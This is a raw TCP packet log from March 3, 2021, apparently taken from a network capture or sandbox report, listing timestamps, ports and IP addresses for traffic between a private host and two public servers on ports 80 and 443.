Mar 3, 2021 07:33:23.784363985 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.784372091 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.784380913 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.784395933 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.784411907 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.784421921 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.784426928 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.784442902 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.784450054 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.784457922 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.784497976 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.785159111 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.785181999 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.785197020 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.785212994 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.785228014 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.785243034 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.785245895 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.785263062 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.785279989 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.785286903 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.785295010 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.785311937 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.785321951 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.785337925 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.785372972 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:28.503689051 CET	49772	80	192.168.2.4	151.101.2.133
Mar 3, 2021 07:33:28.544341087 CET	80	49772	151.101.2.133	192.168.2.4
Mar 3, 2021 07:33:28.544553041 CET	49772	80	192.168.2.4	151.101.2.133
Mar 3, 2021 07:33:28.545456886 CET	49772	80	192.168.2.4	151.101.2.133
Mar 3, 2021 07:33:28.586206913 CET	80	49772	151.101.2.133	192.168.2.4
Mar 3, 2021 07:33:28.586528063 CET	80	49772	151.101.2.133	192.168.2.4
Mar 3, 2021 07:33:28.586551905 CET	80	49772	151.101.2.133	192.168.2.4
Mar 3, 2021 07:33:28.586663961 CET	49772	80	192.168.2.4	151.101.2.133
Mar 3, 2021 07:33:28.587063074 CET	49772	80	192.168.2.4	151.101.2.133
Mar 3, 2021 07:33:28.628796101 CET	80	49772	151.101.2.133	192.168.2.4
Mar 3, 2021 07:33:28.751538038 CET	49773	443	192.168.2.4	151.101.2.133
Mar 3, 2021 07:33:28.792067051 CET	443	49773	151.101.2.133	192.168.2.4
Mar 3, 2021 07:33:28.792246103 CET	49773	443	192.168.2.4	151.101.2.133
Mar 3, 2021 07:33:28.801554918 CET	49773	443	192.168.2.4	151.101.2.133
Mar 3, 2021 07:33:28.842087030 CET	443	49773	151.101.2.133	192.168.2.4
Mar 3, 2021 07:33:28.842117071 CET	443	49773	151.101.2.133	192.168.2.4
Mar 3, 2021 07:33:28.842149973 CET	443	49773	151.101.2.133	192.168.2.4
Mar 3, 2021 07:33:28.842206955 CET	49773	443	192.168.2.4	151.101.2.133
Mar 3, 2021 07:33:28.867952108 CET	49773	443	192.168.2.4	151.101.2.133
Mar 3, 2021 07:33:28.909579039 CET	443	49773	151.101.2.133	192.168.2.4
Mar 3, 2021 07:33:30.861612082 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:30.909626007 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:30.910353899 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:30.910617113 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:30.958719969 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.110133886 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.110158920 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.110177040 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.110193014 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.110213995 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.110230923 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.110245943 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.110260963 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.110275984 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.110280037 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.110290051 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.110305071 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.110340118 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.111180067 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.111196995 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.111252069 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.112324953 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.112492085 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.112535000 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.113452911 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.113470078 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.113518000 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.114600897 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.114622116 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.114674091 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.115715027 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.115751028 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.115797997 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.116858006 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.116879940 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.116930962 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.117985010 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.118002892 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.118052006 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.119121075 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.119138956 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.119209051 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.120269060 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.120291948 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.120366096 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.121459961 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.121478081 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.121551037 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.158308029 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.158333063 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.158447981 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.158776999 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.158803940 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.158869982 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.159923077 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.160255909 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.160336971 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.161056042 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.161084890 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.161140919 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.162173986 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.162755013 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.162812948 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.162833929 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.163912058 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.163928986 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.163995028 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.165036917 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.165055990 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.165128946 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.166177988 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.166194916 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.166280985 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.167284966 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.167313099 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.167385101 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.168441057 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.168457031 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.168531895 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.169574976 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.169595957 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.169667959 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.170706987 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.170723915 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.170792103 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.171866894 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.171885014 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.171952009 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.172988892 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.173003912 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.173099995 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.176646948 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.176665068 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.176737070 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.177186012 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.177201986 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.177272081 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.178316116 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.178333044 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.178400993 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.179466963 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.179482937 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.179549932 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.180593014 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.180608988 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.180685043 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.181725025 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.181740999 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.181812048 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.182866096 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.182882071 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.182946920 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.184000015 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.184019089 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.184086084 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.185125113 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.185142994 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.185209990 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.186265945 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.186300993 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.186381102 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.206460953 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.206485987 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.206578016 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.206907034 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.206924915 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.206995010 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.208151102 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.208168030 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.208240986 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.209134102 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.209153891 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.209239960 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.210685015 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.212980032 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.212986946 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.213001966 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.213021994 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.213040113 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.213048935 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.213054895 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.213088989 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.215595007 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.215611935 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.215627909 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.215643883 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.215672970 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.215697050 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.216418028 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.216439962 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.216490030 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.217566967 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.219861984 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.219882011 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.219907999 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.219923019 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.219940901 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.219958067 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.219965935 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.220016956 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.224288940 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.224308014 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.224361897 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.224611998 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.224630117 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.224668980 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.225132942 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.225153923 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.225187063 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.226252079 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.226275921 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.226322889 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.227389097 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.227421999 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.227478027 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.228497982 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.228517056 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.228566885 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.229664087 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.229684114 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.229727983 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.230880976 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.230902910 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.230972052 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.231976032 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.231997013 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.232048988 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.233079910 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.233098984 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.233133078 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.234158993 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.234178066 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.234205008 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.254528046 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.254555941 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.254642010 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.254795074 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.254813910 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.255007982 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.256083012 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.256107092 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.256153107 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.257055044 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.257078886 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.257133961 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.260988951 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.261015892 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.261116982 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.261230946 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.261250019 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.261281967 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.261324883 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.261933088 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.261986971 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.263540030 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.263562918 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.263621092 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.263864994 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.263883114 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.263928890 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.264569998 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.264590979 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.264642954 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.265244961 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.265264988 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.265377998 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.267816067 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.267843008 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.267904997 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.268136978 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.268158913 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.268217087 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.268832922 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.268851995 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.268894911 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.272182941 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.272212029 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.272296906 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.272489071 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.272521019 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.272577047 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.273219109 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.273245096 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.273310900 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.274193048 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.274216890 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.274362087 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.275271893 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.275294065 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.275382996 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.275593996 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.276391029 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.276416063 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.276463032 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.277512074 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.277534008 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.277584076 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.278836966 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.278861046 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.278899908 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.279870987 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.279891014 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.279942989 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.282004118 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.282026052 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.282068968 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.308702946 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.308743000 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.308765888 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.308775902 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.308787107 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.308809996 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.308816910 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.308834076 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.308846951 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.308857918 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.308881044 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.308902025 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.308904886 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.308923006 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.308949947 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.309019089 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.309041023 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.309086084 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.309360981 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.309400082 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.309448004 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.311467886 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.311502934 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.311564922 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.311770916 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.311794996 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.311844110 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.312480927 CET	80	49778	172.67.179.188	192.168.2.4
